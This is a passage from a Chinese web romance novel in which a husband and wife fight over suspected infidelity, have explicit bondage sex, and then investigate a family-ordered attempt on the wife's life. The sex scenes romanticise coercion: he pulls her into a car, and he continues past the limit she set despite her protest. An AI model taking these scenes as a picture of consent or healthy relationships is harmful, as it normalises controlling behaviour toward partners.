“如果我不爱你都能成为你出轨的理由,那么当我爱你的时候,你还是能找一万个别的理由出轨一万遍!我好高兴啊,现在就看穿你,我必须离婚!” 陆京御从来没见过这么能强词夺理的人,这么能无理取闹的人,每个字、每个字都深刻地阐述着她是多么冷血又无情,多么凉薄又不负责任。嘴巴里蹦出来的字,字字诛心,伤人到体无完肤,完全不留余地。 陆京御哂笑,顶了下腮帮,声音不高不低,“你终于给我看你真实的样子了?” 江凝烟不懂他吵架的逻辑,但确实被他攻击到了。 她知道她现在歇斯底里的样子很难看,“怎么了?如果你想要一个你出轨,回家还对你笑脸相迎的妻子,那不是我,绝对不可能。” 陆京御完全不跟她的逻辑走,说:“你真实的样子,就是这样一个凉薄无情,我对你什么样你没半点数,连问都不问就把我往坏里想,想得坏到骨子里,然后,对我这样一个‘坏人’,理直气壮地做出最残酷的审判,这就是真实的你?” 江凝烟嘲讽道:“我知道,出轨在你们男人眼里是一般操作,哪算什么坏人。但在我眼里,就是坏透了!你可以跟我说open marriage,那好,咱们各玩各的,但你不能一边骗我说爱我,一边出去睡别的女人。你这样,就是烂透了!” “我没出轨!”陆京御炸了一句。 江凝烟愣住。骂人骂得太溜了,突然急刹车差点一口气噎住自己。 陆京御猛地伸手,将她拽进车里。 江凝烟吵架吵得头晕目眩的,猝不及防地就被他压倒在车里。 手被他按在头顶,像镣铐一样死死地将她禁锢住。 “你放开!陆京御,你大爷的!放开我!你还想骗我!”江凝烟又踢又打,见他纹丝不动,直接不客气地张嘴咬在他的脖子上。 陆京御嘶了一声,“哦……” 她咬得很重,像一只小老虎一口咬在他脖子,陆京御甚至觉得要把他的脖子咬断。 “真狠,真舍得下嘴。”他捏住她的下颚,把她的嘴扯开。 汽车缓缓开动起来,江凝烟大叫道:“你要是敢开车,我跟你拼了!” 汽车依旧缓缓行驶,对方犹豫都没有犹豫一下。 江凝烟气急了,抬脚踢他。 陆京御的膝盖顶开了她作乱的腿。 江凝烟更气了! 密闭的车厢里充斥凌乱的呼吸声、呻.吟声、踢打声。火药味弥漫这个车厢。 “我真没睡别的女人!”陆京御又解释道。 江凝烟的动作停顿了一瞬,有那么一瞬间,车里静止下来,只剩两人粗重的呼吸声,两对蕴含火光的眸子对视着。 忽地,江凝烟更加气急败坏,“一整夜不回家还想骗人?男人真他爹的会装!别碰我!” 她企图并拢腿,却被顶得更开。 江凝烟更加愤怒,骂道:“陆京御,你个臭流氓!你别乱来,都看见你把我强拽上车的,你是想吃国家饭是吗?” 陆京御冷笑着打了一个电话,声线冷冽,“把昨晚我在你们酒吧的监控调出来,发到我手机。” 江凝烟眨眨眼。 陆京御睨了她一眼,嗤声又打了另一个电话,语气微戾,“把你家门口的监控录像调出来,一整夜的。” 简单说完,他把手机随手一抛,丢在羊绒脚垫上,手指捏着她的下巴,阴鸷地笑道:“你这张小嘴,骂人这么厉害,该怎么治啊?” 话音落下,他的唇压下来,霸道、强势,吞噬。 他纠缠住她的唇,吻得有些凶狠。带着点愤怒的吻,像着火的荒原上掠过的狂野的风,让她彻底燃烧起来。 江凝烟算是信了他的解释,但依旧不满他彻夜不归,气愤地咬了口他的下唇,他吃痛,微微撤开。 她躺在椅背上胸口起伏,看起来秀色可餐,但眸底气势很强,“你彻夜不归,好意思治我?” 陆京御轻轻一哂,眼光像是带着火一样剥过她的身体,俯视着她,另一只手往她腿间探,“我要是那晚醉了回家,你知道你会成什么样吗?” 怕伤到她,怕他自己都控制不住自己,回来对同样醉酒的她发疯,他不允许自己这样, 但他真的快被她逼疯了。 江凝烟被他抚得抖了一下,据理力争道:“那你可以发微信告诉我!” 陆京御讽笑,眼底又凶狠又破碎,像只困兽,“你在意吗?” 江凝烟呼吸停住。 陆京御不再问她,直接给了答案, “江凝烟,你根本不在意啊。” 他笑了,笑得看起来又平静又诡异的疯,“我是想跟你报备行踪,但你说你这辈子都不会爱我啊。我打了字,但我又删了,你根本不在意我在哪儿,我给你解释我还怕你给我回复得很冷淡,我不会难受吗?” 江凝烟根本不记得自己还说过这辈子都不会爱他这种话,脑子懵圈了。 劳斯莱斯停了下来。 江凝烟诧异,应该还没到家,不可能这么快到家。 看来就近找了家酒店。 陆京御把她拉下车,扣着她的手腕,脚下生风。 他难得没有顾忌她的脚步,他从前总是绅士,尤其她穿高跟鞋的时候,很顾忌她的脚步,斯文又温柔。 今天两条长腿特别急促,西装裤腿走得像是要摩擦起火。 江凝烟也知道自己大约是搞了个大乌龙。 她看着他宽阔的肩膀,窄劲的腰身,脑海里都是自己刚才口无遮拦骂他的话: 你脏! 你脏! 我本来就是为了利益! 你哪来的脸要我爱你! 臭流氓! 烂透了! 江凝烟仰天流泪,完了完了,把人得罪狠了。 “哒、哒、哒。”他的手指轻轻敲击着电梯的扶手,江凝烟的心脏也随之跳动,她努力思考如何再为自己辩解下,想想还有没有什么空子可以钻,余光悄悄地看他锋利的下颚线,看见他冷淡又愤怒的神情,吞了回去。 电梯缓缓上升,“叮”的一声到了顶楼。 他握着她手腕的手一用力,将她拉出了电梯,直接指纹进去。 天旋地转,江凝烟已经被按在门板上。 吞噬的吻再次落下来,被打断的激情,像是被压抑的沸水掀翻了锅盖。 后背的设计是几颗扣子,还有洞洞,其实大半张背都若隐若现,他手背青筋一爆,粗暴地扯掉她的扣子,一共三颗扣子,瞬间崩得像是满地都是。 “做好心理准备受罚了吗?一会别叫,也别我一睡着你就跑,下次再让我抓到你跑,只会罚更狠。 ” 江凝烟心脏抖了抖,呼吸粗重,双手抵在他胸前,他胸口的心脏如擂鼓敲打着她的手心。 “还骂我脏,给你个机会?先哄我下?”他剥了她的上衣,鼻息凑近她,唇已经凑在她的脖颈又是啃又是咬。 江凝烟吃痛,轻声唔了一声,手挡在自己胸前,皮肤被他鼻息的热气呼得起了一层鸡皮疙瘩。啃咬的感觉让兴奋传递进了什么每个神经末梢。 江凝烟脖子被吸得发疼,灵机一动,抓着他的头发,眼睛乌溜溜的,小声商量道:“我给你……吃你最脏脏的地方?” 第37章 绑手和腿 陆京御吸住她脖子的唇一顿。 他身体僵住。 而后, 发出一声轻笑。 他捏住她的下巴,额头抵住她的,哂笑道:“留点儿底牌吧。” 江凝烟:“嗯?” 陆京御笑得又暧昧又透着坏劲, 道:“就你这性子,你这张嘴,还不知道会怎么惹我, 不给自己留点底牌, 以后你拿什么来哄我?” 也就是说这个在他眼里算是大招? 江凝烟眼睛放光, 还来不及高兴陆京御吸了口她的脖子, 逼迫道:“快点, 再想一个。” 江凝烟心脏怦怦怦直跳, 他的呼吸像是钻入了她裸.露的每个毛孔,顺着她的血液蔓延,侵占她的四肢百骸。 “那不然……嗯……”她脖子忽然被他舔了一口,整个人鸡皮疙瘩都起来了,声音暧昧地停住。 她知道他在勾引她, 让她跟他一起彻底放纵。 “让你绑、一会儿?”她被他撩拨得声音发抖。 陆京御的脑袋又顿了一下, 僵住了。 江凝烟声音像是泡着水, 小声问:“还不行吗?” 陆京御脑海里想起了那个梦。他把她铐在墙上的那个梦, 如今对她做了很多, 但梦里的香艳程度依旧让现实的他望尘莫及。 他感到自己浑身的血液兴奋到快要失控, 他告诫自己不要轻易尝试,捆绑好像真的是他的性癖。 理智告诉他不能把她弄成那样。 他得控制。 “你敢?”他又狠又劲地恐吓她, 不想真把她弄成那样。 江凝烟也想到了他恐吓她的那个梦, 她也没想那么激烈, 脖子被舔得浑身毛孔舒张了,她喘着气跟他商量, “只绑,一会儿?” 没有一会儿。 不可能一会儿。 要么不绑,要绑绝对很久。 他可以断定。 他喉结上下滚动,奋力压制他体内扩张的欲望。 江凝烟浑身上下都是他的性癖,捆绑江凝烟更是性癖上的性癖。 要是能得到放纵的话,今晚将是他盛大的狂欢。 他捏住腰窝的手指下意识地使劲,江凝烟被他捏得腰肢弓起美好的弧度,腰窝更加深旋。 他在她脖子边舔了又舔,一下一下。时而舒缓轻柔,时而微重绵长。他没坑声,没说行,也没说不行。 静谧的酒店室内,两人粗重凌乱的呼吸将暧昧的氛围推到极致。 他一下又一下看似极度耐心地舔着,实际上脑子里在做极致的斗争。 江凝烟被他舔得浑身刺激得紧绷,正当她想用混沌的脑子重新再想个哄他的法子时,他吭声了。 “一会儿是多久啊?”他听见自己贪婪失控的声音。 是罚。 怎么不可以绑呢? 今晚,他就要肆无忌惮的放纵与狂欢。 他的手臂激动得抖了一下,捏住她腰窝的手指更加用力地捏住她的窝心。 他的声音很哑,听着又磁性又欲,江凝烟听着颅内像是涌起了一波浪潮。她根据那几次的经验,她试探地问:“十……分钟?” 他感觉到自己正像关着野兽的笼子走近,那里的兽天生长着双掠夺的眼,幽幽地盯着他靠近,他头皮兴奋战栗得发麻。 “十分钟?”他又吸住了她的脖子,显然不满意她的时间限制。 江凝烟脖子倏地扬长,咬住唇畔控制呻.吟声,“二十分钟?” “怎么够呢?”他拖着调儿。 那语气好像在说,你又不是没试过我的厉害。 江凝烟颤着牙关,问:“用什么绑?绑哪儿?” 准备得确实有点仓促。 他因为那个梦本能地排斥准备道具。他想跟她好好爱。 但她总有本事点燃他,让他的理智崩溃,让他只想狠狠欺负她。 尽管准备仓促,但也不是完全没办法,他声音贴到她耳边,舔着她的耳廓,说:“这儿有几件丝质浴袍,是纯黑色的,把那些腰带抽了……” 他停住。 江凝烟的呼吸也屏住。 他又贴近,吸了下她的耳垂,才声音跟哑了几分,说:“绑手,绑……腿。” 江凝烟心脏漏跳一拍。 他压制住她的身体忽然往后撤,但是单手依旧死死地扣住她的双手手腕,领着她往里面走。 “绑哪儿啊?”江凝烟想不出来酒店还能绑哪儿。 等到她看见酒店特别奢华的床头的时候,忽然就想跑了。 精致奢华的床头,床板大片是丝绒的布包裹着看起来非常柔软,但是上面有一圈雕刻繁复奢靡,恰巧有很多孔。 江凝烟:“!!!” 丝带穿过她的膝盖弯穿过那些洞洞,可以把她完全绑在床板上。 这真绑起来跟他梦里的姿势也差不多啊! 她忽然挣脱了他的手,扑进他怀里,手臂紧紧地还住他的劲腰,语气带了点讨饶,“只绑手,或者我们玩点别的?” 只绑手? 那好像差点意思。 玩点别的? 他哂笑,摸摸她的后脑勺,动作很温柔,却让江凝烟后背反弓起,像是被老虎舔了,“玩点别的?不耽误啊。” 他们的夜很长,只要她想玩,什么都可以玩。 江凝烟内心一抖,腿已经在发软,“不可以,只绑手十分钟。就当是我为今天骂你的事道歉。” 陆京御鼻孔轻轻哼笑一声,手掌在她腰上轻轻捏抚,“烟烟……” 平时温柔的声音此刻听起来令人头皮发麻。 他说:“道歉……是不是得看看别人接不接受啊?” 江凝烟脸死死地埋在他结实的胸肌里,闷声说:“不管你接不接受,我就只有这点歉意。” 陆京御又被气笑了,“就只有这点儿?” 江凝烟说:“你就不怕你把我这样绑完,我再也不敢跟你做了?” 这话挺有威慑力,陆京御浑身僵了一瞬,下巴压在她的头顶,低头,额前的刘海遮住眼睛,半张脸没入阴影中,“嗯……怕……” 江凝烟心里一喜,“是吧!这事你得跟我商量着来,你不按照我的来,我不愿意跟你做了。” 陆京御神情完全没入黑暗中,抿直的唇角勾起,“你要是不跟我做了,我怕我会这样绑着你一辈子……” 江凝烟猛地倒吸一口气,心脏差点跳出喉咙口。 像是反威胁,又像是他真实的想法,江凝烟像是脚底心被火烧了般,想立刻跳起来跑。 陆京御小臂使劲地勒住她的腰肢。 刹那间,他们的腹部像是陷进彼此骨血里,他笑着,手指在她腰窝上缓缓磋磨了一下。 江凝烟浑身战栗。 他说:“二十分钟,绑手和腿,我就接受你的道歉……” 第38章 “以后再伤我心,伤一次,绑一次。” 江凝烟咬牙同意了。 她让酒店里的智能机器人“木木”帮助倒计时二十分钟。 陆京御从柜子里取了五条黑色丝质腰带出来。 “为什么是五条?”江凝烟纳闷。 哪怕手分开绑, 五条也太多了吧? 陆京御勾起唇角笑了一下,笑得让江凝烟心脏发抖。 “蒙眼睛啊。”他说。 江凝烟腿往后退了一步,碰到床沿, 顿时紧张起来,“不可以蒙眼睛。” “为什么?” “我看不见你在做什么。没安全感。” “就是要没安全感才刺激啊。” 虽然她知道她不应该把陆京御想得很坏,但她会担心他录像。 江凝烟摇头, “我怕你录像。” “我要是会录这种东西, 我脱光了绕京城跑到脱水!跑到猝死!”他声音忽然拔高炸了一声。 江凝烟:“……” 江凝烟被他吓唬得身体后仰, 手推着他的胸肌。 陆京御欺身过来, 音量听起来缓和, 却依旧阴鸷, “还是不相信我啊。烟烟,这下需要半小时我才能原谅你了。” 江凝烟说:“我也要保护自己的啊。” 陆京御:“保护自己没错,但是怀疑我会做这种事就是该罚。” 把他当什么人? 江凝烟控诉道:“你现在这状态看起来什么做不出来?” 陆京御:“……” 他上半身倾压过去,“我把手机关了放你身后。” 江凝烟犹豫了,但还是心惊胆战。 陆京御腿逼过来, 压迫感让江凝烟腿软地坐到床边, 一片乌云压顶般的阴影将她吞没, 她呼吸急促凌乱。 她的腿弯被捞起, 他单手托着她, 她坐在他手心上, 他毫不费力地将她挪到床边靠着床板。 冰凉的丝带缠上了手腕,触感像是冰块划过般颤栗。 手腕被扣在床板上, 丝带绕进床框的洞眼, 他的身躯和床背形成了一个狭隘逼仄的空间, 里面全是欲望的气息。 绑完手后,烤漆般亮泽的丝带和白瓷般的肌肤呈鲜明的对比, 强烈的视觉冲突让陆京御兴奋。 他松开她,灼热的视线剥过她潮红的脸和并拢的腿。 “先蒙眼睛?”他轻声问。 江凝烟已经闭上眼了,不敢看他眼底的疯狂。动作那么轻那么温柔,眼底全是摧天灭地的疯狂。 黑色丝带蒙上了她的眼。 眼前更黑了几分,黑暗让听觉嗅觉等感官更加敏锐,她听见他平静的声音夹着些战栗的颤,“很好看。” 她几乎能感觉到他贪婪的目光侵略着她的每一寸皮肤。 腿被推起,丝带从她的膝盖弯穿过,绕在床头,吊起。 江凝烟腿那觉得空荡荡的恐慌。屋里分明封闭,但觉得凉风拂过。 温热粗粝的指腹,从她膝盖弯慢慢向下滑落。 酥麻战栗感卷着她浑身的热意跟随着他指腹的方向,涌去。 江凝烟腿发抖,忍不住呻.吟出声,带着点哭腔。 “这就要哭了?”陆京御笑她。 江凝烟咬着唇不出声。脑子里在碎碎念一个故事,咬牙切齿:三过家门而不入。 呜呜呜。 “你要不要好好用时间啊?”她喘息着劝他。 “我就喜欢这样用。”陆京御我行我素。 “嘶啦”一声,他把她的内衣扯了。 江凝烟差点失声叫出来。 这人床上太坏了。 他手指依旧在腿上描摹,“咱俩今天就定个条约?” 江凝烟咬牙切齿,奸商大奸商!坏透了! 他把她绑成这样的时候定条约? 这他爹的能是平等条约? “以后再伤我心,伤一次,绑一次。按严重程度,算时间。” 江凝烟:“……” 她怎么知道怎么样他会伤心? 她怎么知道她做什么他会伤心到什么程度? 这种条约叫她怎么答应? 大概看出她的迟疑,他越来越狠。 “啊,伤一次,绑五分钟。”她抖着声音妥协道。 她现在已经很后悔很后悔答应他二十分钟了。 陆京御嗤笑一声,“你还打算伤我多狠,这么在乎上限?伤心程度是我决定的,所以你最好别随便伤我。” 江凝烟浑身像是被火烧一样,腿间开始不受控制地发抖。 陆京御说:“我也答应你,我要是出轨,我净身出户。” 江凝烟懵住。 他的声音像是一条条细线,缠住她的心脏。 “你可以更相信我一点。等会我白纸黑字写给你。” 江凝烟忽然低头,唇抿成一条直线,说:“别写这种。” 她吞咽了一下,声音越来越轻,说:“你一时冲动写下这种,以后后悔了,我只会处于更危险的境地。” 他敢写她也不敢拿。 “啊!”江凝烟惊叫出声,紧接着一连串不停歇的惊叫。 她又把人惹火了? 怎么这样? 她这张嘴,从小撒的谎写在纸上估计可以绕京城N圈,为什么在陆京御面前就这么诚实? 简直自讨苦吃。 他什么话也不说,就像狂风暴雨一样,然后“木木”提醒他们二十分钟到了。 他开口让木木关掉,手上也不停。 “你说话不算话,二十分钟到了!”她挣扎。 他将她托起,双腿跪在床上压向她。 “嘭!”床板猛地撞了一下墙壁。 他哑声说:“刚才不是说了,变成半小时了?” 她的腿被吊/开,这样一直撑着酸死了,气愤地咬他的肩膀,说:“那你以后再惹哭我一次,我也罚你。” 陆京御低笑,笑声听起来欲极了,说:“可以啊。怎么罚我?” 江凝烟没想好,脑子昏昏根本动不了。 陆京御笑道:“怎么罚我都会纵容你,我甚至怀疑你拿着刀捅我,我都会抱住你。” 他的动作跟他的言语一起,像是重锤敲击了她的心脏。 她蒙着眼,看不见,声音更加震耳欲聋。 男人,哪怕是这么清冷矜贵的男人,在床上也是这么会说情话的吗? 这话像是近在咫尺的巨浪,眼看就要将她吞没,她下意识地抗拒,呜咽着,倔强地说:“男人床上的话鬼才相信。哦——” 陆京御声音粗重,因为使劲,咬音也很重,“你今天对我说的这些,我宁愿你给我来一刀。” 墙壁被碰撞得像是要碎掉。 床像是被海水淹没了。 结束的时候,江凝烟在浴缸里摊倒在他身上。 床湿得连床垫都湿了,没法睡觉了,陆京御给她洗干净,裹上浴袍,抱到了楼下房间。 这家酒店是陆家的。 位于市中心,景观很好。 江凝烟躺在他身上一动不动,腿特别酸。 都怪他,后面绑了她根本不止半小时。好不容易帮她解开,他还尝试了各种姿势。 她看见时间的时候已经超过凌晨零点了。 她趴在他胸口,侧脸听着他胸膛的心跳声,看着外面的飞檐斗拱,外面的璀璨霓虹,难得觉得宁静。 陆京御这时候情绪平静下来,手掌压着她的后脑,忽然把手机里的视频给她看,“你慢慢看,看我昨天晚上在干什么。” 江凝烟不客气地拿过手机,视频里时间都有,看见他一进去就被各种女人搭讪,微微眯了眼眸。 哼。 看起来也没多清白啊。 感觉晚上被白绑了呢。 后来,忽然有个姑娘给她倒酒,然后有个男人不知道说了什么,陆京御生气了,踹了对方一脚就离开了酒吧。 “那男的说了什么,你这么生气?”她很好奇,应该跟那倒酒的姑娘也有点关系。 陆京御略过了很多,只说:“他想把那女孩让给我,我觉得他恶心,让他滚。” 江凝烟啧啧,是挺恶心的男人,“他们都玩这么花的吗?这种是常规操作吗?” 把自己的女朋友让给别的男人。 陆京御立刻撇清关系,“这些人中我只认识一个,恰巧碰到了,就让他们坐了,没想到玩成这样。我绝对不这样。” 江凝烟故意阴阳怪气地说:“你这样会不会挺不合群啊?太不识抬举了,陆总。” 陆京御眼眸一眯,狠狠掐了把她的腰,说:“还想再来一遍是吗?” 江凝烟咯咯咯笑着躲。 陆京御刚才满足得很,此刻特别包容,语气很温柔地跟她解释,说:“你看时间,不到十分钟,我就出现在裴清歌家门口。一直到早上才出来。期间也没有别人进来。” 太长了,江凝烟各种快进跳着看,没看见门前有什么动静。 陆京御抚了抚她脑袋,说:“相信我,然后,不喜欢他了,好不好?” 江凝烟顿住,这才想起来该跟他好好解释陈熠鑫的事。不然哪天打开手机刷到个陈熠鑫的视频,没准他就直接炸了,这个惹他伤心的风险太大,必须解释清楚。 江凝烟抬起脸,下巴搁在他胸肌上,笑嘻嘻地看着他说:“不管你信不信,我从来没喜欢过陈熠鑫。” 陆京御眼睛瞬间亮了,像是整个京城都在一瞬间点亮那般壮观。 但紧紧只是高兴了一瞬,他又想起来,她确确实实笃定她自己不会爱上他的啊。 “那你为什么笃定你不会爱上我的?” 江凝烟:“我到底什么时候说过这种话?” 陆京御说起来面色沉郁:“跟陈熠鑫见完,醉了,在车里,酒后吐真言。” 原来如此。 酒后还真吐真言。 她确实,永远不可能像电视剧里一样为了别人死都可以,那种热烈的爱她真给不了。 如果有一天,有刀捅向陆京御,她不可能去挡刀。 她惜命。 但是她已经会因为他情绪激动。 她真的很自私,她享受陆京御对她的好,但不会为此牺牲任何东西。 自由与生命对她来说就是远远凌驾于情感之上。 她沉吟片刻,道:“我是觉得爱情根本不存在。人都是为自己的。” 她眼睛凝视着他,认真地跟他说:“陆京御,我可能不值得。” 第39章 我们在一起就值得 陆京御捏住她的下巴, 将她的下巴抬起来,看着她。 “不相信爱情,不怪你。” 没有人给她过, 她怎么可能相信? 江凝烟呼吸微顿,看着他的眼睛,看着他漆黑清澈的瞳孔里, 浸着温暖的灯光, 光圈一圈圈像是能把她缠绕住。 “不敢爱我, 也不怪你。” 从小小心翼翼地长大, 起码好好长大了, 已经很不容易很勇敢了。 “我还要夸你, 很会保护自己,没有因为缺爱,随便被一个男人骗走。” 他手从她下巴挪到她脸侧,眼里浸着喜悦温柔的笑意,“烟烟真聪明。” 江凝烟心里潮潮的, 心墙像是被水泡了, 逐渐柔软。 “值不值得, 我说了算, 只要你在我身边, 我们在一起, 我就觉得值得。” 江凝烟在跟他结婚之前,从来没想过他会是个温柔的人。 这么会说话, 这么能给情绪价值。 虽然她也不是会被温柔轻易攻陷的人, 但这肯定比找了个不会说话的老公每天都气死了, 他还在边上呼呼大睡好得多。 她笑,眼睛晶晶亮, “谁能猜到我们陆总这么会说情话?” 陆京御神情倏地凶巴巴,气呼呼地睨着她说:“说了你也不信,不说你又不知道,我还能怎么办?你不信,总比你不知道好吧?” 起码知道还有人会对她好,别对这世界绝望。 江凝烟伸手拥抱住他,确实听得蛮爽。 有谁听到贵公子说情话不爽的吗? 除非他滥情。 但目前没发现陆京御有别人,所以,只有她爽。 只有她享受。 当晚的江凝烟心想,反正在他对她好的时候,她表现好一点吧。哪天他好不动了,她再抽身。 那时候她没想到,会以这么惨烈的方式抽身。 她安安稳稳地睡着了。 半夜听到敲键盘的声音,被吵醒了。 睁开眼睛看见陆京御坐在书桌边上,敲键盘。 怎么大半夜的还有工作? 她刚想起身,让他早点睡觉,听见他站起了身,往客厅走。 江凝烟很困,但还是不打算让自己直接睡着了,准备等他打完电话,再催他睡觉。 都二十八岁的人了,这么不注意保养的吗? 居然还熬大夜,尤其,晚上还跟她使了好几个小时的力。 她唇角微勾,用被子半捂着脸。 是不是跟她do太久,影响他这个总裁工作了? “那个人跟吴雪雯的爸爸认识?”陆京御声音不响,但她听见了。 江凝烟眨眨眼。 那个人? 应该是说差点把他们撞到坠楼的那个人吧? “那就有些巧了。”陆京御又说。 吴雪雯的爸爸并没有跟吴雪雯住在一起,因为欠了债,可能出狱后担心债主找上门。 甚至吴雪雯死都没出现过。 如果那人跟吴雪雯的爸爸认识,恰巧知道江家想除掉她,看见她动了歹心的时候,就算时间紧迫,联络上江家能挺快。 那就真不能排除是故意。 “认识到什么程度?” “上一个项目是一起做的啊,那可能就是听到过什么。” “偶然看到了我们,立刻动了歪脑筋。” “警方没有查到通话记录,尽量搞清楚怎么回事。” 如果有那人有相关通话记录,基本上他们就能确定是江家授意。 不过,即使没有,光认识这点,他们嫌疑也非常大。 “尽量跟吴雪雯的爸爸搭上线,搭上之后记得立刻跟我说,我要亲自跟他谈。” 陆京御挂掉了电话,走进来的时候,看见江凝烟竟然醒了。 她靠在床边,分明是对他微笑着的,陆京御心里却猛地一揪。 觉得她看起来脆弱又可怜,却还这样笑,还不如就对他哭,起码有些情绪宣泄。 八九不离十,江家是真的想除掉她的。 她那么美好的一个女孩子,居然从小在这样的环境下长大,难怪她谁也不相信。 陆京御缓步走过去。 江凝烟看着他快靠近,黑暗中他乌黑的眸子依旧亮着光,暖暖的。 “都听到了?” 江凝烟:“吴雪雯的爸爸也放出来不久,他欠了不少钱,这么多年下来还有十几亿左右。当年就是不想被定案成诈骗,想找我姥爷帮忙。不过吴雪雯为了诓骗我,告诉我只是借了钱还不上了。其实是诈骗,我姥爷当然不肯帮忙。他不知道手里有没有什么我爷爷的把柄。” 陆京御沉默地注视着她,立在床边愣了一下,才坐到她身边,伸手把她抱入怀里。 昏暗的屋里寂静下来。 两人的心跳隔着胸腔共振。 陆京御鼻尖蹭了蹭她的颈窝,喉咙口像是堵了些什么,“辛苦小烟烟了。你把自己照顾得很好。野蛮生长,挺好的。长得野一点,心里恨一点都没关系。你可以恨。” 江凝烟唇线抿直,下巴搁在她肩头,不说话。 两人这样沉默了很久,陆京御才问她,“吴雪雯的爸爸,一旦联系上了,你自己跟他谈还是我也可以陪你?” 江凝烟这会倒是没再多想,说:“一起也行。” 陆京御有些欣慰,没把他排除在外,“他应该好对付,毕竟他困窘缺钱。坠楼的事,如果是你爷爷,他肯定是中间人。” 江凝烟其实不想给他钱,这种亡命之徒,贪得无厌的,不然也不会诈骗那么多钱,“不知道他有没有证据,他要是留证据了也会去威胁我爷爷。” 陆京御说:“嗯,先试探一下他,最好有。当年吴雪雯加害你的事你觉得他可能有证据吗?有的话旧账新账一起算了。” 江凝烟:“当年的事,他有证据也应该是吴雪雯给他的。如果吴雪雯当年就有证据但是没交,肯定是我爷爷许诺了他们出来后的好处。但是,吴雪雯却找她狱友要钱,很可能他们从我爷爷那没要到好处。应该要么没证据要么那证据威胁不到我爷爷。所以,当年的事挺难的。” 陆京御沉吟,“那如果这次他留证据了,如果真是你爷爷,你想要他坐牢还是想要他更多的钱?” 江凝烟说:“让他去坐牢没有意义了,年纪大了,会保外就医。如果有证据,我要他多花三百亿。给我五百亿。算是他从小对我造成的伤害的补偿。不管他是质押股权还是去抵押房产还是变卖财产,立刻马上给我。” 陆京御说:“那我们谈判的时候,开口七百亿?底线就是五百亿,看他多少能答应?” 江凝烟:“好。” 陆京御松开她,“还能睡着吗?” 江凝烟听到他这句话,心里就想,不会吧,不会吧,他真是核动力牛? 果然,听见陆京御说:“要不要放松下,解压?” 江凝烟:“……”- 没多少天,陆京御就告诉她,吴雪雯的爸爸联系上了,不过他不肯见面,深怕有诈。 “他说我们想要的他有,但要我们帮他还债。” 江凝烟:“……” 开玩笑,十几亿呢,谁愿意花这个冤枉钱?更何况,他是差点弄死她的吴雪雯的爸爸。 她给仇人还债? 她钱多? 事情就这样陷入一片僵局。 过了一天,陆京御在家很晚的时候接到电话,线人说,吴雪雯的爸爸吴浩反倒开始逼他们了,说如果他们不要他就给对方了。 江凝烟说她怎么确认这东西有没有用? 线人又传话,吴浩的话依旧没透露太多,很谨慎地说:“怀疑的话,他就给对方了。” 江凝烟说:“那让他直接给对方。” 江凝烟断定他就是有也是电子证据这类,这些她爷爷买也买不断,会有复制品。 她爷爷不到万不得已也不会答应买。 果然,吴浩当晚消停了。 但她们依旧拿不到东西。 她沉吟道:“他直接说有证据,又直接说还债,他应该有把握自己能跟那装修工撇清关系,不会成为杀人未遂的共犯。那他的证据应该很单薄,比如就是给那个装修工发了个号码,让他们直接联系?” 陆京御说:“但警方那天查过那装修工的手机,没有可疑的电话和信息。” 江凝烟眼睛忽然一亮,“有没有可能装修工那天跟人借了手机?” 陆京御点点头,“想象力很丰富。明天让警察再仔细调查一下,特别注意他的行踪,看他有没有跟别人借手机。” 江凝烟想到这个很兴奋,眼睛都在放光,“我觉得很有可能!吴浩信誓旦旦的证据,不会太直接,不然他还了债,也可能被起诉杀人未遂,他只给了个号码那两人直接联系的,那他可以说他不知道对方要电话干嘛。” 陆京御看着她兴奋的样子,笑道:“写悬疑写成精了。你好像很喜欢破案,说起来,我还没看过你的小说。” 江凝烟嘿嘿笑,“你别看了,污了你的眼。” 陆京御笑,“我妈说很好看。她不知道你还忍不住砸了很多钱。” 那可不,化雾的小号也是化雾本人啊,不可能差的。 陆京御忽然来了兴致,下载了一个他从来不用的网文平台的app,“我下来看看。” 江凝烟不想他有兴致看,毕竟他看过她的书,文笔有时候会被怀疑。网上也有读者怀疑,掀不起什么浪来,但陆京御要是怀疑,循着蛛丝马迹对照,可能就知道了。 她下意识地逃避。 他现在说爱,要是知道她姥爷那都不受重视,是不是也会看轻她。 她希望那一天晚点到来。 她还想他接着对她好。 她抢过他的手机,丢在床上,双手勾住他脖子,看着他清晰凸起的喉结,利落又性感,轻轻吻上去,“大晚上的看什么小说?陆总今晚是想罢工吗?” 第40章 我要给你一个史无前例的盛大生日宴 江凝烟第二天立刻去了警察局, 让警察帮忙调查周边所有的监控。 警方在距离商场半公里的十字路口发现了装修工的身影。 他走进了一家便利店,好像是买了包烟,出来一边打电话一边抽烟。 警方立刻找了便利店老板前来问话。 便利店老板说:“他说他手机没电了, 有点急事,跟我借了手机打了两个电话。说的什么方言,我听不懂。” 警方查看了一下便利店老板的手机, 依旧没找到通话信息, 但是, 装修工监控中打电话的时间, 老板的手机里没有记录, 这明显是把通话记录都删了。 警方对江凝烟说:“明显是删掉了。我们试试做手机数据恢复。看来确实有可能是故意, 您最近小心点。” 江凝烟说:“看看能不能把吴雪雯的爸爸吴浩找来吧,查一下他手机应该有发送给他短信。” 警方找了下吴浩,吴浩属于失联状态。 江凝烟有些焦急,吴浩不知道跟谁联系的。吴浩给的是谁电话,她爷爷还是她爷爷身边的人? 会不会这边查得天翻地覆, 最后又只推了个顶包的出来? 江凝烟有些紧张, 忽然想到, “那个装修工忽然想杀我, 应该不至于一毛钱不拿就动手, 这个方向也查一下。事发突然, 八成只能是汇款,他也不可能打到自己账上, 看看他最近跟谁接触拿过现金, 也查查他爸爸妈妈老婆孩子那有没有收到不明款项。” 警方说:“那我们再去查一下他这几天的行踪。” 江凝烟只能回去等消息, 她又没权力查监控。 这时候,她很少联系的舅舅忽然给她打电话, 她本就有些焦急,接到他电话不知道为何又是一股从小到大的压迫感,让她有些窒息。 “烟烟啊,最近好吗?” 挺好啊。 快被杀了,您不知道吧? 她笑道:“挺好啊,怎么了,舅舅?怎么有空打我电话?” 赵舅舅语气不咸不淡,说:“何家跟你哥的婚事不知道怎么,前两天还说跟何澜处处看呢,这两天说何澜不考虑你哥了。听你哥说你跟何澜关系好,你知道怎么回事吗?” 江凝烟心里想得很歹毒:知道啊,不尊重女性的家庭不配有后代,就是这么回事。 她笑道:“啊?哥要跟何澜联姻?何澜没跟我说啊,我都不知道啊。” 赵舅舅嗤了一声,“看来何家是势利眼,你姥爷才走没多久,就觉得我们赵家配不上人家了。” 江凝烟:“……” 这年头,有人不势利吗? 说人家势利眼,不就是因为占不到人家便宜吗? 偏偏人何家还真不太势利,本来想跟赵临风处处看的,公子哥自己不争气,怨谁? 赵舅舅见她不说话,还在继续抱怨,“陆家都跟我们联姻,何家算什么。” 